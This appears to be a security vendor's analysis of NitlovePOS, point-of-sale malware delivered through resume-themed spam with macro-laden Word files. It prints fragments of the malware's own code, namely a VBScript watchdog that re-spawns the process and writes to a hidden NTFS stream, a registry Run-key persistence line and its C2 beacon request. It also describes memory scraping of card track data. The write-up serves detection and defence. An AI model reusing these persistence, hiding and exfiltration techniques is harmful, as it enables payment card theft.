There has been a proliferation of malware specifically designed to extract payment card information from Point-of-Sale (POS) systems over the last two years. In 2015, there have already been a variety of new POS malware identified including a new Alina variant, FighterPOS and Punkey. During our research into a widespread spam campaign, we discovered yet another POS malware that we’ve named NitlovePOS.
The NitlovePOS malware can capture and ex-filtrate track one and track two payment card data by scanning the running processes of a compromised machine. It then sends this data to a webserver using SSL.
We believe the cybercriminals assess the hosts compromised via indiscriminate spam campaigns and instruct specific victims to download the POS malware.
We have been monitoring an indiscriminate spam campaign that started on Wednesday, May 20, 2015. The spam emails referred to possible employment opportunities and purported to have a resume attached. The “From” email addresses were spoofed Yahoo! Mail accounts and contained the following “Subject” lines:
Subject: Any Jobs?
Subject: Any openings?
Subject: Internship questions
Subject: Job Posting
Subject: Job questions
Subject: My Resume
The email came with an attachment named CV_[4 numbers].doc or My_Resume_[4 numbers].doc, which is embedded with a malicious macro. To trick the recipient into enabling the malicious macro, the document claims to be a “protected document.”
If enabled, the malicious macro will download and execute a malicious executable from 184.108.40.206/exe/dro.exe. The cybercriminals behind this operation have been updating the payload. So far, we have observed:
These payloads beacon to the same server from which they are downloaded and receive instructions to download additional malware hosted on this server. This server contains a wide variety of malware:
We focused on the “pos.exe” malware and suspected that it maybe targeted Point of Sale machines. We speculate that once the attackers have identified a potentially interesting host form among their victims, they can then instruct the victim to download the POS malware. While we have observed many downloads of the various EXE’s hosed on that server, we have only observed three downloads of “pos.exe”.
We analyzed the “pos.exe” (6cdd93dcb1c54a4e2b036d2e13b51216) binary found on the 220.127.116.11 server. (A new version of “pos.exe” (b3962f61a4819593233aa5893421c4d1) was uploaded on May 22, 2015 that has exactly the same malicious behavior but with different file structure.)
The binary itself is named “TAPIBrowser” and was created on May 20, 2015.
File Name : pos.exe
File Size : 141 kB
File Type : Win32 EXE
Machine Type : Intel 386 or later, and compatibles
Time Stamp : 2015:05:20 09:02:54-07:00
PE Type : PE32
File Description : TAPIBrowser MFC Application
File Version : 1, 0, 0, 1
Internal Name : TAPIBrowser
Legal Copyright : Copyright (C) 2000
Legal Trademarks :
Original Filename : TAPIBrowser.EXE
Private Build :
Product Name : TAPIBrowser Application
Product Version : 1, 0, 0, 1:
The structure of the file is awkward; it only contains three sections: .rdata, .hidata and .rsrc and the entry point located inside .hidata:
When executed, it will copy itself to disk using a well-known hiding technique via NTFS Alternate Data Streams (ADS) as:
Then will create a vbs script and save it to disk, again using ADS:
By doing this, the files are not visible in the file system and therefore are more difficult to locate and detect.
Once the malware is running, the “defrag.vbs” script monitors for attempts to delete the malicious process via InstanceDeletion Event; it will re-spawn the malware if the process is terminated. Here is the code contained within “defrag.vbs”:
GetObject("winmgmts:\\.\root\cimv2").ExecNotificationQuery("Select * From __InstanceDeletionEvent Within 1 Where TargetInstance ISA 'Win32_Process' AND TargetInstance.ProcessID="&p).NextEvent
W.Run(W.ExpandEnvironmentStrings("cmd /C /D type nul > %TMP%:Defrag.scr")), 0, true
The malware ensures that it will run after every reboot by adding itself to the Run registry key:
\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\"Defrag" = wscript "C:\Users\ADMINI~1\AppData\Local\Temp:defrag.vbs"
NitlovePOS expects to be run with the “-“ sign as argument; otherwise it won’t perform any malicious actions. This technique can help bypass some methods of detection, particularly those that leverage automation. Here is an example of how the malware is executed:
If the right argument is provided, NitlovePOS will decode itself in memory and start searching for payment card data. If it is not successful, NitlovePOS will sleep for five minutes and restart the searching effort.
NitlovePOS has three main threads:
Thread 1: SSL C2 Communications
Thread 2: MailSlot monitoring waiting for CC.
Thread 3: Memory Scrapping
Thread 1: C2 Communications
NitlovePOS is configured to connect to one of three hardcoded C2 servers:
All three of these domains resolve to the same IP address: 18.104.22.168. This IP address is assigned to a network located in St. Petersburg, Russia.
As soon as NitlovePOS starts running on the compromised system, it will initiate a callback via SSL:
POST /derpos/gateway.php HTTP/1.1
The User-Agent header contains a hardcoded string “nit_love” and the Machine GUID, which is not necessarily unique but can be used as an identifier by the cybercriminals. The string “HWAWAWAWA” is hardcoded and may be a unique campaign identifier; the “F.r.” is calculated per infected host.
Thread 2: MailSlot monitoring waiting for payment card data
A mailslot is basically a shared range of memory that can be used to store data; the process creating the mailslot acts as the server and the clients can be other hosts on the same network, local processes on the machine, or local threads in the same process.
NitlovePOS uses this feature to store payment card information; the mailslot name that is created comes as a hardcoded string in the binary (once de-obfuscated);
Once the mailslot is created, an infinite loop will keep querying the allocated space.
Thread 3: Memory Scrapping
NitlovePOS scans running processes for payment data and but will skip System and “System Idle Process.” It will try to match track 1 or track 2 data and, if found, will write the data into the mailslot created by Thread 2. This information is then sent via POST it to the C2 using SSL, which makes network-level detection more difficult.
Possible Control Panel
During our research we observed what appears to be a test control panel on a different, but probably related, server that matches with NitlovePOS. This panel is called “nitbot,” which is similar to the “nit_love” string found in the binary and was located in a directory called “derpmo” which is similar to the “derpos” used in this case.
The information contained in the NitlovePOS beacon matches the fields that are displayed in the Nitbot control panel. These include the machines GIUD that is transmitted in the User-Agent header as well as an identifier “HWAWAWAWA,” which aligns with the “group name” that can be used by the cybercriminals to track various campaigns.
The control panel contains a view that lists the “tracks,” or stolen payment card data. This indicates that this panel is for malware capable of stealing data from POS machines that matches up with the capability of the NitlovePOS malware.
Even cybercriminals engaged in indiscriminate spam operations have POS malware available and can deploy it to s subset of their victims. Due to the widespread use of POS malware, they are eventually discovered and detection increases. However, this is followed by the development of new POS with very similar functionality. Despite the similarity, the detection levels for new variants are initially quite low. This gives the cybercriminals a window of opportunity to exploit the use of a new variant.
We expect that new versions of functionally similar POS malware will continue to emerge to meet the demand of the cybercrime marketplace.